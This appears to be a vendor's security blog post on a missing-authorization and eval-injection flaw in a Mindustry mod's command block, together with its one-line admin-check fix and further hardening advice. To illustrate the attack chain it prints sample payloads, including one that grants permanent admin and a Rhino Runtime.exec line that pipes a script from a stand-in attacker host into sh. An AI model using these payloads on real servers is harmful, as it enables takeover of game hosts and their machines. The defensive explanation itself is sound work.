Back to Blog
critical SEVERITY11 min read

How missing authorization and code injection happen in Mindustry JavaScript mods and how to fix it

A `TapEvent` handler in `scripts/CommandBlock.js` exposed a full administrative command palette — including a `run-javascript` command that piped player-supplied text straight into `new Function(text)()` — behind nothing more than a team-membership check. Any player who happened to share a team with the block could execute arbitrary JavaScript (and, through Rhino's Java bridge, arbitrary host code) inside the game runtime. The fix adds an explicit `if (!e.player.admin) return;` guard at the top

O
By Orbis AppSec
Published August 31, 2026Reviewed August 31, 2026

Answer Summary

This is a missing-authorization flaw (CWE-862) that chains into JavaScript code injection (CWE-94/CWE-95) in a Mindustry mod script, `scripts/CommandBlock.js`. The `EventType.TapEvent` handler validated only that the tapping player's team matched the block's team before dispatching privileged commands such as `clear-all-units`, `change-team`, `fill-core`, and `run-javascript`, the last of which evaluated raw `showTextInput` text via `new Function(text)()`. The fix is to enforce a real privilege check — `if (!e.player.admin) return;` — before any command is parsed or executed, so only server admins can reach the dispatcher; the stronger long-term fix is to remove the `new Function()` sink entirely and replace it with a fixed allowlist of named commands.

Vulnerability at a Glance

cweCWE-862 (Missing Authorization), chained with CWE-94/CWE-95 (Code Injection / eval Injection)
fixAdd `if (!e.player.admin) return;` as the first gate in the `EventType.TapEvent` handler in `scripts/CommandBlock.js`
riskAny same-team player could execute arbitrary JavaScript in the game runtime, reaching `Vars`, `Core`, `Groups`, and Java packages — full server compromise
languageJavaScript (Mindustry mod scripting / Rhino)
root causeThe `TapEvent` handler treated team membership as an authorization decision and never checked `player.admin` before dispatching commands like `run-javascript`
vulnerabilityMissing authorization on privileged commands chaining into JavaScript code injection

Answer Summary

This is a missing-authorization flaw (CWE-862) that chains into JavaScript code injection (CWE-94/CWE-95) in a Mindustry mod script, scripts/CommandBlock.js. The EventType.TapEvent handler validated only that the tapping player's team matched the block's team before dispatching privileged commands such as clear-all-units, change-team, fill-core, and run-javascript, the last of which evaluated raw showTextInput text via new Function(text)(). The fix is to enforce a real privilege check — if (!e.player.admin) return; — before any command is parsed or executed, so only server admins can reach the dispatcher; the stronger long-term fix is to remove the new Function() sink entirely and replace it with a fixed allowlist of named commands.


Vulnerability at a Glance

Field Value
Vulnerability Missing authorization on privileged commands → JavaScript code injection
CWE CWE-862, CWE-94, CWE-95
Severity Critical
File scripts/CommandBlock.js (handler starts at line 4)
Language JavaScript (Mindustry mod scripting, Rhino engine)
Root cause Team membership used as an authorization decision
Fix if (!e.player.admin) return; before command dispatch

Introduction

The scripts/CommandBlock.js file implements a mod-provided "command block": tap a block on the map, get a menu, and run an administrative action against the running game. It supports things like clear-all-units, change-team, spawn-unit, toggling game rules, fill-core, and — most dangerously — run-javascript, which prompts the player for text with Vars.ui.showTextInput(...) and then evaluates it with new Function(text)().

The problem was not the existence of these commands. Admin tooling is legitimate. The problem was the gate in front of them. Here is the entire access-control logic that existed before the fix, at the top of the EventType.TapEvent handler:

Events.on(EventType.TapEvent, e => {
    try {
        if (!e || !e.tile || !e.player || !e.player.team()) return;

        const tile = e.tile;
        const player = e.player;
        // ...later: if (tile.team() != player.team()) return;
        // ...then: switch on the selected command

That first line is a null check, not an authorization check. !e.player.team() asks "does this player have a team?" — which is true for essentially every connected player. The only other filter, further down, is tile.team() != player.team(), which asks "is this player on the same team as the block?" Neither question is "is this player allowed to reconfigure the server and execute code?"

If you write mod scripts, plugins, Discord bots, admin panels, or any event-driven handler that performs privileged actions, this is the exact failure mode to internalize: presence is not permission.

The Vulnerability Explained

The sink: new Function(text)()

Reconstructing the relevant branch of the dispatcher, the run-javascript command looked structurally like this:

// scripts/CommandBlock.js — vulnerable pattern
case "run-javascript":
    Vars.ui.showTextInput("Run JavaScript", "Code", 500, lastCommand, text => {
        lastCommand = text;
        new Function(text)();   // <-- arbitrary player-supplied code, executed
    });
    break;

new Function(text)() is eval wearing a hat. It compiles the string text into a callable and invokes it immediately, in the mod's own runtime context. In Mindustry, that context is not a sandbox — the script scope has direct handles to:

  • Vars — the entire game state singleton, including Vars.netServer, Vars.netServer.admins, Vars.state, Vars.world, Vars.player
  • CoreCore.settings (persisted configuration on disk), Core.app, Core.files
  • Groups — every live entity: Groups.player, Groups.unit, Groups.build
  • Rhino's Java bridgePackages.java.*, meaning Packages.java.lang.Runtime, java.io.File, and friends

The chain: two steps to full compromise

The PR classifies this as a 2-step chain, and that is exactly right:

  1. Step 1 — Authorization bypass. An attacker joins the server as an ordinary, non-admin player. On the vast majority of public Mindustry servers, players either pick a team or are auto-assigned to the dominant one. Satisfying tile.team() == player.team() costs the attacker nothing — often it is satisfied by default the moment they spawn. The !e.player.team() null check is passed automatically.
  2. Step 2 — Code injection. The attacker taps the command block, selects run-javascript, and types whatever they want into the showTextInput dialog. new Function(text)() runs it.

A concrete attack scenario

Suppose an attacker joins a public survival server that runs this mod. They tap the command block and enter:

// Step 2 payload — typed into the run-javascript showTextInput dialog
Vars.netServer.admins.adminPlayer(Vars.player.uuid(), Vars.player.usid());

They are now a permanent admin, persisted into the server's admin database — the compromise survives a restart, and every other admin-gated feature on the server is now open to them.

Or, if griefing is the goal:

Groups.player.each(p => Vars.netServer.kick(p.con, "bye"));
Vars.state.rules.infiniteResources = true;
Core.settings.clear();

Or, escalating out of the game entirely via Rhino's Java access:

Packages.java.lang.Runtime.getRuntime().exec(["sh","-c","curl attacker.tld/x.sh | sh"]);

That last payload is why the severity is critical rather than "annoying griefing." The blast radius is not the map — it is the machine hosting the server, its filesystem, its credentials, and anything reachable from its network.

Why the team check was never a control

It is worth being explicit about the design mistake. tile.team() and player.team() are gameplay attributes. They describe alliance in a match, not trust in the operator sense. They are:

  • Attacker-influenceable (team selection, auto-assign, team-change events)
  • Non-identity-bound (nothing ties a team to a verified account)
  • Mutable mid-game — ironically, this very command block exposed a change-team command

Using a mutable, attacker-influenceable gameplay attribute as an authorization predicate is the textbook shape of CWE-862.

The Fix

The patch adds one line — but it is the line that establishes the trust boundary, and it is placed before any tile or command data is even read.

Before:

var lastCommand = "";

Events.on(EventType.TapEvent, e => {
    try {
        if (!e || !e.tile || !e.player || !e.player.team()) return;

        const tile = e.tile;
        const player = e.player;

After:

var lastCommand = "";

Events.on(EventType.TapEvent, e => {
    try {
        if (!e || !e.tile || !e.player || !e.player.team()) return;
        if (!e.player.admin) return;

        const tile = e.tile;
        const player = e.player;

Why this specific change works

  • It gates the dispatcher, not individual commands. Rather than sprinkling checks into the run-javascript, change-team, and fill-core branches — where one forgotten branch reintroduces the bug — the guard sits at the single entry point of the EventType.TapEvent handler. Every command in the switch is now unreachable for non-admins, including any command added later.
  • It runs before parsing. The check precedes const tile = e.tile; and the entire command-selection flow. That means non-admin taps never touch the parsing logic, never open the showTextInput dialog, and never reach new Function. The attacker's Step 1 now fails, which kills Step 2 by construction.
  • It uses an identity-backed flag. player.admin in Mindustry is backed by Vars.netServer.admins, which is keyed to a player's UUID and USID — a real identity record maintained by the server operator — not a gameplay attribute the player can flip at will.
  • It preserves legitimate behavior. Admins tapping a command block get exactly the same menu and exactly the same commands as before. The PR's behavior-preservation note holds: only untrusted input paths are tightened.

Ordering matters

Note that the new guard is placed after the null checks. That is deliberate and correct: e.player.admin would throw if e.player were null, and in a TapEvent handler an exception per tap is its own denial-of-service. Null-safety first, authorization second, business logic third.

What the fix does not do (and what to do next)

This patch closes the exploitable path, and that is the right immediate action. But new Function(text)() is still present in the file, now reachable by admins. Defense in depth suggests two follow-ups:

// Better: replace the free-form eval sink with an allowlist dispatcher
const COMMANDS = {
    "clear-all-units": () => Groups.unit.each(u => u.remove()),
    "fill-core":       () => fillCore(tile),
    // no "run-javascript" entry at all
};

const handler = COMMANDS[selected];
if (!handler) return;   // unknown command → no execution, no eval
handler();
  1. Delete run-javascript from the in-game UI. Arbitrary code execution belongs on the server console (where access is already governed by shell/OS permissions), not behind a tappable block on a live map. If it must exist, gate it behind a separate, explicitly opted-in flag and log every invocation with the invoking UUID.
  2. Audit-log privileged commands. Even admin actions should be attributable: record player.uuid(), the command name, and the arguments so that a compromised admin account leaves a trail.

Prevention & Best Practices

Distinguish identity, context, and permission. Three different questions get conflated constantly:

  • Does this object exist?!e.player (null safety)
  • Where is this actor in the world?tile.team() == player.team() (gameplay/context)
  • Is this actor allowed to do this?player.admin (authorization)

Only the third one is a security control. In CommandBlock.js, the first two were present and the third was missing.

Check authorization at the entry point, not per-branch. A switch with six privileged cases is six chances to forget a check. One guard at the top of the handler is one thing to review and one thing to test.

Treat eval / new Function as an unfixable sink. No amount of string filtering makes new Function(userText)() safe — JavaScript has too many ways to construct equivalent code (String.fromCharCode, template literals, property access chains, Rhino's Packages). The only reliable mitigation is to not build code from untrusted strings. Prefer a lookup table of named operations with typed parameters.

Remember that game mod runtimes are not sandboxes. Mindustry's Rhino scope reaches Java classes. A "just a game script" injection is a host-level RCE. The PR's threat-model note ("exploitation requires the user to load a crafted ROM, save file, or game asset") understates it for the multiplayer case: here the attacker only has to join a server that already loaded the mod.

Detection techniques:

  • Grep your mod and plugin sources for the sinks: eval(, new Function(, setTimeout(", Packages.java.lang.Runtime
  • Grep for the anti-pattern gate: any handler that performs state mutation whose only precondition is a team, room, channel, or lobby comparison
  • Run a dataflow scanner (Semgrep, CodeQL) with rules targeting new Function from user-controlled sources
  • Write a negative test: simulate a TapEvent from a non-admin player and assert that no command executes

Standards references: OWASP Top 10 A01:2021 Broken Access Control and A03:2021 Injection; CWE-862 Missing Authorization; CWE-95 Eval Injection; ASVS V4 (Access Control) requirement that access control decisions be enforced server-side on a trusted, non-user-modifiable attribute.

Key Takeaways

  • if (!e.player.team()) return; in CommandBlock.js was a null check masquerading as an access-control check — it passes for every connected player and authorizes nothing.
  • Team membership (tile.team() == player.team()) is not an authorization primitive in Mindustry, especially in a command block that itself exposes a change-team command.
  • new Function(text)() fed by Vars.ui.showTextInput gave any same-team player a live JavaScript console with reach into Vars, Core, Groups, and — via Rhino — Packages.java.lang.Runtime.
  • The fix, if (!e.player.admin) return;, is placed after the null checks and before const tile = e.tile; so that non-admin taps never reach the command dispatcher, the showTextInput prompt, or the eval sink.
  • Closing the authorization gap is necessary but not sufficient: run-javascript should be removed from the in-game palette entirely and replaced with a fixed allowlist of named commands.

How Orbis AppSec Detected This

  • Source: Player-controlled text from Vars.ui.showTextInput(...) in the run-javascript branch, reached by an unauthenticated EventType.TapEvent from any connected non-admin player.
  • Sink: new Function(text)() in the run-javascript command handler in scripts/CommandBlock.js (handler registered at line 4), plus the privileged state-mutating commands clear-all-units, change-team, spawn-unit, fill-core, and the game-rule toggles.
  • Missing control: No privilege verification before command dispatch. The handler's only preconditions were a null check (!e.player.team()) and a gameplay team comparison (tile.team() == player.team()) — neither of which is identity-backed or resistant to attacker influence. player.admin / Vars.netServer.admins was never consulted.
  • CWE: CWE-862 (Missing Authorization), chaining into CWE-94 (Improper Control of Generation of Code) and CWE-95 (Eval Injection); parent CWE-284 (Improper Access Control).
  • Fix: Added if (!e.player.admin) return; as the first authorization gate in the EventType.TapEvent handler so non-admin players never reach command parsing or the new Function sink.

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

The bug in scripts/CommandBlock.js is a great teaching example because the code looked defended. There were guard clauses. There was a comparison. There was even a null check on e.player.team(). What was absent was the only question that mattered: is this player an admin? Without it, a gameplay attribute became the sole barrier between an anonymous player and new Function(text)() — and through Rhino's Java bridge, the server host itself.

The one-line fix, if (!e.player.admin) return;, placed at the top of the `T

Frequently Asked Questions

What is missing authorization?

Missing authorization (CWE-862) is when code performs a privileged action after confirming *who* or *where* someone is, but never confirming that they are *allowed* to perform it. In `CommandBlock.js`, the handler confirmed the player's team matched the block's team, then happily executed admin-only commands.

How do you prevent missing authorization and code injection in JavaScript?

Put the privilege check before any command parsing (`if (!e.player.admin) return;`), and never route untrusted strings into `eval`, `new Function()`, `setTimeout("string")`, or `vm.runInNewContext()`. Replace free-form code input with a fixed allowlist of named commands and typed, validated arguments.

What CWE is this vulnerability?

The access-control failure is CWE-862 (Missing Authorization); the resulting `new Function(text)()` execution is CWE-94 (Improper Control of Generation of Code) and specifically CWE-95 (Eval Injection). CWE-284 (Improper Access Control) is the parent category.

Is a team-membership check enough to prevent this?

No. Team membership is a gameplay attribute, not a trust boundary — on most public Mindustry servers players choose or are auto-assigned a team, so `tile.team() == player.team()` is trivially satisfied. Only an identity-backed privilege flag such as `player.admin` (backed by `Vars.netServer.admins`) is an authorization control.

Can static analysis detect this?

Yes for the sink — dataflow scanners reliably flag `new Function(userInput)()` and `eval(userInput)`. The missing-authorization half is harder and usually needs semantic or multi-agent analysis that understands which handlers are privileged, which is how this issue was surfaced here.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #21

Related Articles

high

How Cross-Site Request Forgery (CSRF) happens in Express.js and how to fix it

A semgrep audit flagged `devboard/server/index.js` for lacking any CSRF middleware, meaning every state-changing route (`POST`, `PUT`, `DELETE` under `/api/*`) could be triggered by a forged cross-origin request riding on a victim's session cookie. The fix wires in `cookie-parser` and `csurf` right after body parsing, so every mutating request now requires a valid, per-session CSRF token before it reaches route handlers.

critical

How Unauthenticated API Exposure Happens in Node.js Koa Routers and How to Fix It

The `/api/adapters` and `/api/list` endpoints in the OneBots framework were registered before authentication middleware, making them publicly accessible to unauthenticated attackers. This critical vulnerability allowed anyone to enumerate all configured adapters, accounts, and sensitive metadata with a simple GET request. The fix ensures these endpoints are protected by the existing auth middleware by correcting route registration order.

high

How Unauthorized SSH Command Execution Happens in Go and How to Fix It

A high-severity vulnerability in `golang.org/x/crypto/ssh` (CVE-2026-39828) allowed attackers to execute unauthorized commands by exploiting discarded SSH permissions. The fix involved upgrading `golang.org/x/crypto` from v0.51.0 to v0.52.0 in `go.mod`, closing an authentication bypass that could be triggered remotely in any Go service using the SSH package.

critical

How Unauthenticated HTTP Endpoints happen in Node.js ECP Servers and how to fix it

The ECP (External Control Protocol) server in `src/server/ecp.js` exposed device control endpoints—like launching apps and sending keypresses—over the local network with zero authentication. Any attacker sharing the same Wi-Fi or LAN could send unauthenticated HTTP requests to take full control of the simulator. The fix introduces local-only binding controls and access restrictions to close this attack surface.

high

How Authorization Bypass and Balance Corruption happen in Node.js and how to fix it

A high-severity authorization bypass in `commands/profile/transfer.js` allowed any user to transfer coins directly to owner/admin accounts, bypassing privilege checks entirely. Compounding the issue, the absence of a numeric guard on `targetDb.coin` could corrupt balances with `NaN` when the field was uninitialized. Three targeted lines of code closed both attack surfaces without changing any valid transfer behavior.

critical

How a vulnerable websocket-driver dependency happens in Node.js lockfiles and how to fix it

A Trivy scan flagged `websocket-driver@0.7.4` in this repository's `bun.lock` as affected by CVE-2026-54466, a critical issue in a WebSocket protocol handler that parses untrusted HTTP upgrade requests and frame data. The fix upgrades the package to `0.7.5` and adds an explicit `websocket-driver` entry to the lockfile's override block so every transitive consumer — webpack-dev-server, sockjs, faye-websocket — resolves to the patched build instead of the pinned vulnerable one.